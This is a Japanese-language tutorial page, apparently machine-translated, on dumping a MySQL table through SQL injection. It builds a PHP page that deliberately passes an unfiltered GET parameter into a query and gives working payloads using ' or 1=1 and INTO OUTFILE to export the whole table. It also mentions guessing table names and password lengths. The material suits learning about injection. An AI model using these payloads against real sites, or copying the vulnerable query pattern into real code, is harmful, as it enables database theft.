ホームページ >データベース >mysql チュートリアル >SQL インジェクションの脆弱性を使用してライブラリをドラッグする例を共有する

SQL インジェクションの脆弱性を使用してライブラリをドラッグする例を共有する

零下一度
零下一度オリジナル
2017-05-17 15:56:398453ブラウズ

SQL インジェクションの脆弱性を利用してバックエンドにログインすることや、SQL インジェクションの脆弱性を利用してライブラリをドラッグすることは、関連する内容を学んだ後の概要に過ぎず、深みはありません。

前の記事と同様に、テスト目的でデータテーブルを作成し、テーブルにいくつかのデータを入力および終了する必要があります。
データベースにテーブルを作成します:

コードは次のとおりです:

CREATE TABLE `article` ( 
`articleid` int(11) NOT 
NULL
 AUTO_INCREMENT, 
`title` varchar(100) CHARACTER 
SET
 utf8 NOT NULL DEFAULT '', 
`content` text CHARACTER SET utf8 NOT NULL, 
PRIMARY 
KEY
 (`articleid`) 
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

テーブルにデータを挿入するためのコードは投稿しません。ダウンロードしてデータベースに直接インポートできます。
次に、ユーザーのリクエストを処理するページを作成します。ここでは、ユーザーが送信したデータを意図的にフィルターせず、テスト用に SQL インジェクションの脆弱性を残します。
コードは次のとおりです:

コードは次のとおりです:

<?php 
$servername = "localhost"; 
$dbusername = "root"; 
$dbpassword = ""; 
$dbname = "test"; 
$id=$_GET[&#39;id&#39;];//id未经过滤 
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 
mysql_select_db($dbname,$conn); 
mysql_query(&#39;set names utf8&#39;); 
$sql = "SELECT * FROM article WHERE articleid=&#39;$id&#39;"; 
$result = mysql_query($sql,$conn); 
$row = mysql_fetch_array($result); 
echo "<p>利用SQL注入漏洞拖库<p>"; 
if (!$row){ 
echo "该记录不存在"; 
exit; 
} 
echo "标题<br>".$row[&#39;title&#39;]."<p>"; 
echo "内容<br>".$row[&#39;content&#39;]."<p>"; 
?>

ブラウザに直接入力します:
127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
記事にアクセスできますID 1 のテーブル レコードのアクセス結果は次のとおりです:

次に、この脆弱性を使用して (脆弱性がわからない場合は、ツール + 手動検出のみを使用できます)、次の方法を示します。記事テーブルをダウンロードします。

アドレスバーに入力: ' into outfile 'e:/sql.txt'%23
分析: %23 は # の ASCII コードです。アドレスバーに # を直接入力すると、データベース システムでは # が空になります。必須です。アドレスバーに %23 と入力すると # になり、次の SQL ステートメントをコメントアウトします。
実行後、Eドライブを開き、追加のsql.txtファイルを見つけます。それを開くと、テーブル記事にレコードがあります。 レコードが 1 つしかないのはなぜですか?このデータテーブルにはレコードが 1 つだけありますか?これは当てはまりません。ID 1 のレコードを 1 つだけ取得するので、記事テーブル内のすべてのレコードを一度にダウンロードできますか? 構築された SQL ステートメントが十分に柔軟である限り、答えは「はい」です (ここでも、構築された SQL ステートメントの柔軟性が取り上げられます)。
分析すると、URL アドレス バーに「into outfile 'e:/sql.txt'%23」と入力すると、SQL クエリ ステートメントにマージされ、次のようになります:
SELECT * FROMarticle WHERE Articleid='5' into outfile ' e:/whf.txt'#'
慎重に分析した後、次のような SQL ステートメントを構築できます:
SELECT * FROMarticle WHERE Articleid='' or 1=1 into outfile 'e:/whf.txt'#'
この場合、
WHERE 句
は、何があっても常に true です。つまり、SQL ステートメントは次と同等です:
SELECT * FROM Article into outfile 'e:/whf.txt'#' 理解してください。 SQL ステートメントは、まず select ステートメントを実行してテーブル アーティクル内のすべてのコンテンツを取得し、次に出力ファイル 'e:/whf.txt'#' を実行してコンテンツをエクスポートします。 信じられないなら実行してみてもいいでしょう...
SQLインジェクションの脆弱性を利用して、テーブル名、カラム名、ユーザーパスワードの長さ(LEFT関数)などを推測することができます。もちろん、直接変更できれば可能ですが、上記のデモのようにテーブル内の値をすべてエクスポートすれば、テーブル名や列名などを推測する必要はありません。
ちょっと疲れたのでここに書きます。
SQL インジェクションの脆弱性を利用してバックエンドにログインする方法と、SQL インジェクションの脆弱性を利用してライブラリをドラッグする方法は、関連する内容を学んだ後の単なる要約です。記事の冒頭で述べたように、これは単なる要約であり、深みはありません。他の意味はありません。

【関連推奨事項】

1.

特別な推奨事項

: 「php Programmer Toolbox」V0.1 バージョンのダウンロード2. SQL インジェクションを防ぐには? SQLインジェクションを防ぐ5つの方法を紹介します

3. 有名なSQLインジェクション脆弱性スキャンツール5つを共有します

4. SQLインジェクションのプロセス例を共有します

以上がSQL インジェクションの脆弱性を使用してライブラリをドラッグする例を共有するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。